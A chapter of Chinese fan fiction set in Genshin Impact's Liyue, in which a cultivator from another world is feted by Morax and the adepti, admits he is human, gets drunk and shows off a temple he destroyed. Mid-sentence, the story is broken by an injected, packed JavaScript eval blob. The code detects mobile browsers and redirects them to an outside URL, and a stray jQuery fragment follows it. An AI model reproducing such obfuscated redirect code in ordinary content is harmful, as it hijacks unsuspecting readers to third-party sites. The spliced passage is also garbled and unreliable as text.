倚岩殿。
说是“殿”,其实更像个三进院落。碧瓦飞甍,曲水流觞,自有一番闹中取静的意趣。
明夷从耳房屏风后转出来。
换了一身相当正式的天青流岚罗裳,外披璇玑族纹星痕袍,毫不怯场地迎着众多善意的注视,走到大厅正中圆桌前,抱拳深躬行礼。
“帝君,众仙长。久仰大名,幸甚得见。”
“行了行了,这儿没这么大规矩。摩拉克斯虽说讲究但也不在意这个,坐。”
刚欲开口,就被若陀大手一挥抢去话头,摩拉克斯无奈地摇头一笑,垂眸啜饮清茶。
若陀难得对其他人产生兴趣。
上下打量着这个三天内两次惊动摩拉克斯的传奇人物,赤霞色瞳孔间或闪过慑人的光。
——像是收敛凶性的猛兽,哪怕再自认友善,仍会在不经意间露出獠牙。
“多谢龙王。”
见过不少大场面的明夷丝毫没被唬住,嘴角上扬,自觉坐到了十分熟悉的留云借风和削月筑阳中间。
——至于为什么熟悉,就不必多言了。
“你认识我?”若陀诧异。
“作为在海瑞国情报中与帝君齐名的头号大敌,很难不认识。”明夷挑了壶桂花酒给自己满上,笑道。
“不错。很有眼光。”
似乎被某些字眼取悦,若陀满意地举杯遥敬少年,又移动手臂挑眉示意摩拉克斯,将杯中酒一饮而尽。
明夷跟着灌了一杯,脸颊腾起一抹薄红。
环顾一周或多或少都在情报中听闻的仙神,视线不受控制地粘在了唯一一个非人形生物上。
一只一人高的、看上去很好摸的杏色大熊摆弄着桌上茶具,熊掌灵活地弹出一道细微的火焰,将茶水维持在一个将沸未沸的状态,清香满室。
似是察觉到目光,大熊直身望来,瞳眸温润,歪头笑了笑。
“这位是炉灶之魔神,马科修斯。平日里喜用本相示人。”摩拉克斯放下空酒杯,褐赭色碎发随风轻晃,声音平和,丝毫不见片刻前枪贯长虹的炽烈杀意。
“你初来璃月,我来为你介绍一下。”
“若陀,你应是较为熟稔。”
“归终,尘之魔神哈艮图斯……”
削月筑阳、留云借风、歌尘浪市、理水叠山、救苦度厄……
一个个或熟识,或只在情报中稍有了解的传说人物,如今就真真切切坐在他面前。
“临近海灯节,魔障渐厉,夜叉一族降魔繁忙,甘雨又总揽民间庆贺诸事,就留待稍后。”
在座诸位介绍完,摩拉克斯微微一顿,呷了口茶,唇畔轻扬。
“明夷小友,欢迎来到璃月。”
语罢,注视着有些受宠若惊的少年,抬手打了个响指,周身金玉流光一闪。
明夷一怔,低头转腕。就见那枚只种下几日的回纹印忽然浮现,散发着溶溶暖热,化光消散。
——似乎是件好事。但不知为何……腕上竟觉有些空荡,心中怅然若失。
“还要多谢帝君救我于水火。”明夷长吁了口气,真心实意地举杯欠身,满饮一杯酒,碧眸全是感激。
“举手之劳,不必介怀。”
摩拉克斯毫不在意地一笑,换上酒杯一饮而尽。
明夷在其引见下一一与众仙神见礼,很快就打成一片。
众仙对这个真实年龄只有百余岁的小辈相当宽和,谈笑聊天之余也不忘带上明夷,那些在到来前已经做好准备面对的应有的考验、漠视、隔阂,通通没有发生。
热闹的言笑声中,明夷甚至有些恍惚。
夹起一片松茸放进口中,味蕾顿时仿佛置身于丛林,极致的鲜香险些打断他莫名的思绪。
——在贝列诺西手下的刁难欺压不过还是昨日。
眼前好奇询问,还给他推荐菜肴的魔神、仙人们脸庞渐渐模糊,与在璇玑族修行时的长老前辈们身影逐渐重叠。
光影醉醺里,他仿佛还是那个意气凌云、被好好爱护着、没有经受任何狂风暴雨的天之骄子。
归终看得真切,眸中划过一丝轻浅的疑惑。
几月前突兀出现的御草魔神身上种种不合理之处翻涌上来,顾忌着这是初次见面,归终再三考量,最终缄口不言。
酒过三巡茶足饭饱,这场特意为明夷准备的洗尘宴也算是接近尾声。
喝了个尽兴的若陀率先起身,没有压制醉意,大手重重拍在少年肩膀以示认可。
“嘶——”
明夷只觉肩上一沉,像是飞腾时撞在了巨石上骨裂似的痛,忍不住倒吸一口凉气。
“人类?”
若陀即刻收回手,眉峰紧皱,面上的五分醉意瞬间消隐。
——以他方才的力度,就算是再弱的魔神,也不应有如此大的反应。
空气一静。
摩拉克斯意外地轻扬眉梢,眸中带了几点兴味,抱臂后倾靠在椅背上。
“不能。凡民、灵兽想要成仙问道,需历经帝君钦设的天地试炼,我们不可能毫不知情。如尚未成仙,延年益寿相当有限,百岁怎么也不能是这个状态。再加上他不错的身手……或许……他年纪尚小,正处于魔神幼生期?”削月筑阳下意识否认,在战场上与之有过交锋的他,很难相信这个结论。
“不像。魔神幼生期大多神志蒙昧,有个别例外是从诞生之时就权能极强。这个情况……哪边都靠不上。”归终看了眼气定神闲的摩拉克斯,松烟色瞳眸闪过思索。
明夷重又成为视线焦点。呲牙咧嘴地揉了揉右肩,虽然对初次照面就被看穿身份一事十分惊讶,但也没什么重大秘密被拆穿的慌乱,相当坦率地和盘托出。
“某种意义上说,我的确可以算作人类。作为异界来客,我的原生世界与璃月有些相似,凡人可修炼成仙。不过不同的是我们每升一阶都会延寿,现在我的寿命少说也有两千年吧。”
“这里……凡民有修仙资质的极少,且天生的魔神仙兽占主导,有点像我原生世界的洪荒时期,元素力是真的充沛啊。说不定我在这里成仙的可能性还要更大。”
语罢,看着在场众多神通广大的人物各色眼睛越瞪越大,明夷心中诡异地升起了一丝成就感,不由开了个玩笑。
“我目前距离成为真正的仙人还有两个大境界,尚未脱凡塑身。所以说暂时的确还是肉体凡胎,拜托各位仙长轻拿轻放啊——”
“不是……等会儿,原来是这么回事?”归终罕见地当了会机,反应过来后豁然转头看向隐隐微笑的摩拉克斯,眼中带了几分控诉。
“契约在身,我不便多说。”摩拉克斯抬手握拳放在嘴边轻咳一声,旁观众仙难得一见的失态,碎发聊胜于无地掩去几分眸中笑意。
“说起来,异世误入之人你并不是第一个。只不过,除了……绝大多数都是普通人。你的存在,倒也特殊。”
敏锐地注意到话语中的模糊之处,明夷抬眼望去,还未出言,就被归终的话扯去心神。
“那么……明夷,你想回家吗?”
……想回家吗?
明夷一时语塞。
笑意渐隐,心头漫上重重寒意,如冬夜的松杉,凝满雾凇晶莹。
眼前走马灯一般,划过恍如隔世的碎光残羽——
血雨涌流,天地同悲。不计其数的凡民绝望的乞求声中,笼罩着半个大陆的遮天大阵遽然破碎,连带着碾碎的,还有无数人苦心孤诣的升仙妄谋。
他衣衫褴褛站在正中,迎着已有年余不曾升起的太阳,放声朗笑,身后高扬不灭的业火,身影倒映在四周密密麻麻的真人们腥红的眼瞳中。
……那样的眼神……有多恨啊。
恨到不惜得罪他身后的璇玑一族,恨到无尽杀招将世界屏障都震碎。
——他是抱着必死的觉悟来到这里的。
明夷忽然伸手拎起一坛“千日醉”猛灌了两口,削月筑阳阻之不及,眼睁睁看着少年从脸颊烧到指尖。
浓重的眩晕和飘飘欲仙里,少年声音显得含混又绵软:“如果您是在几天前问我,我的回答一定是‘想’。我会不惜一切代价找到回去的方法。但现在……”
“……我不知道。事实上,或许我的死亡,对那个世界来说,才是最好的结局。”
“索性师长们手里都握着我的命牌,知我目前性命无忧……不然在这里躲个几十上百年的风头,再考虑回去吧。”
“现在回去的话,必然是无穷无尽的追杀,怕是将我挫骨扬灰个几百次,也不足以消解那群道貌岸然的家伙心中的恨意吧。”
鸦羽般的睫毛低垂,沾染上零星由于眩晕不适涌上的生理性泪珠,平添几丝脆弱。
“抱歉。”归终抚了抚眉心,虽然没做什么,却莫名有种欺负小辈的罪恶感。
“你想在这里住多久都行。虽说璃月也不是什么世外桃源,但相比之下,也算是难得的安身之所。好好休息,不必担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372595|168183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心。时间会冲淡一切。”
“归终说的对,没想到你这孩子看着年少意气,竟也藏着如此沉重的往事。不过过去的就让他过去吧,从现在开始,璃月就是你的家。”
留云借风有些怜爱地揉了揉明夷的脑袋,虽不知具体发生了何事,但对少年品行的了解还是让她判断出——这孩子应是受了不少委屈。
“多谢各位仙长……”
明夷扶额,脑袋蹭了蹭温热的手,迷迷糊糊地道谢。
接收到过多的善意,大脑在酒精的作用下从沮丧跳转到兴奋,少年忽然像是想起了什么,突兀地拍案而起,将众仙惊了一下。
“帝君!”
含笑旁观的摩拉克斯一顿,迅速反应过来弹指送出一道岩光,将不稳摇晃的醉猫虚虚扶住:“何事?”
少年不语,只一脚跨过光屏越过众仙走到摩拉克斯身前,执起对方袖口就扯着人往门外走。
起初有些拽不动。但在他闷头大力扯了两下后,便松了力道,顺利将之带了出去。
醉猫晃晃悠悠地出了门,抬头确认了下方向就往天衡山飞去。中途糊里糊涂地扶上了一只毛茸茸的圆手,确认左手还死死拽着一节袖口,他放心地提了提速。
众仙无一例外的缀在身后看热闹,归终忍俊不禁掩袖轻笑,转头对着若陀:“你这千日醉……两口能醉上多久?”
若陀抬手抓了抓头上赤角,看上去有些想笑,又有些为难:“我的话,不用元素力压制,一坛能醉上两个时辰吧。他这种情况……呃,度厄,你怎么看?”
救苦度厄真君衣袖翩飞,闻言偏头,日光映出白皙如雪的侧脸:“我并未与他交手或者把脉,无法测出他的真实实力。就按饭桌上透露的情况来看……少说一天吧。”
众仙说话间已至天衡山巅,毕竟皆非常人,此等高度不过几个纵跃,轻而易举。
明夷总算是将人衣袖放开,眼眸迷离地扫过一众仙人,咧开的笑比太阳都灿烂。
少年豪气千云地一挥袖袍,指着无际海洋中的一片岛屿,有些踉跄地退后一步,后背撞上一堵毛茸茸的墙,才稳住身形。
“看!我说好送帝君的大礼!”
“聆神殿!我炸的!”
顺着少年的指尖,以众位的目力,自然能轻易洞见——云来岛中心那座高耸的神殿竟当真只剩断垣残壁,只有灰黑木石中隐约闪着光的奇珍异宝,还在无言诉说着往日辉煌。
璃月仙人们在这一刻达成了一天内两次瞠目结舌的伟大成就,惯常的养气底蕴暂时飞到了九霄云外,惊叹连连啧啧称奇。
“好小子,有我的风范。”这是开怀大笑的若陀。
“你还真是胆大包天啊……”削月筑阳气贯双目仔细观察遗迹,语气虽然不像夸奖,但也十分叹服。
“两军交战先炸神殿,好大的羞辱。怪不得贝列诺西气成那样,为了截杀你甚至踏上璃月边境……小子,要不是帝君,你现在已经没命了,知道吗?”留云借风终于明白了今早那二人下血本的追杀从何而起,柳眉倒竖,生了几分怒意。
醉醺醺的明夷反应明显慢了数拍,与那双含着训诫的冷苍眸子对视几秒,憨笑抬手比了个“2”:“……两命。”
“什么?”
留云借风不明所以。
咒印一命,截杀一命,炸了个神殿,若不是贵人相救,短短一天之内他就已经升天两次了。
不过此时酒气越发上涌,明夷已经难以条理清晰地解释话中意思,只是一味傻笑。
摩拉克斯虽说在咒印反噬时就有所预料,但看着神殿还是一怔,难得有些头痛地扶了扶额,转头与明夷对视,循循善诱:
“你心意赤诚,我们都能感受到。做法虽稍显极端,倒也确有挫其锐气的效果……这份‘大礼’,我就收下了。”
“但,此事下不为例。我知你少年心气又罹受苦难,难免一时冲动。须知并非每次遇险都会化险为夷,要以保护自己为上。”
“……好哦。”
醉猫信息处理能力有限,只听出帝君语气温和,笑眯眯地胡乱点头答应。
耳畔的声响稍显嘈杂,像是隔着壁障雾蒙蒙的听不清楚,明夷自顾自小声吐槽着海瑞国的“不做人”,句与句之间破碎又毫无逻辑。
最后,仰起头盯了一阵万里晴空,身体靠着毛墙,缓缓滑了下去。
“真好啊——”
一声轻快地呓语后,少年眼中的天,盖上了被子。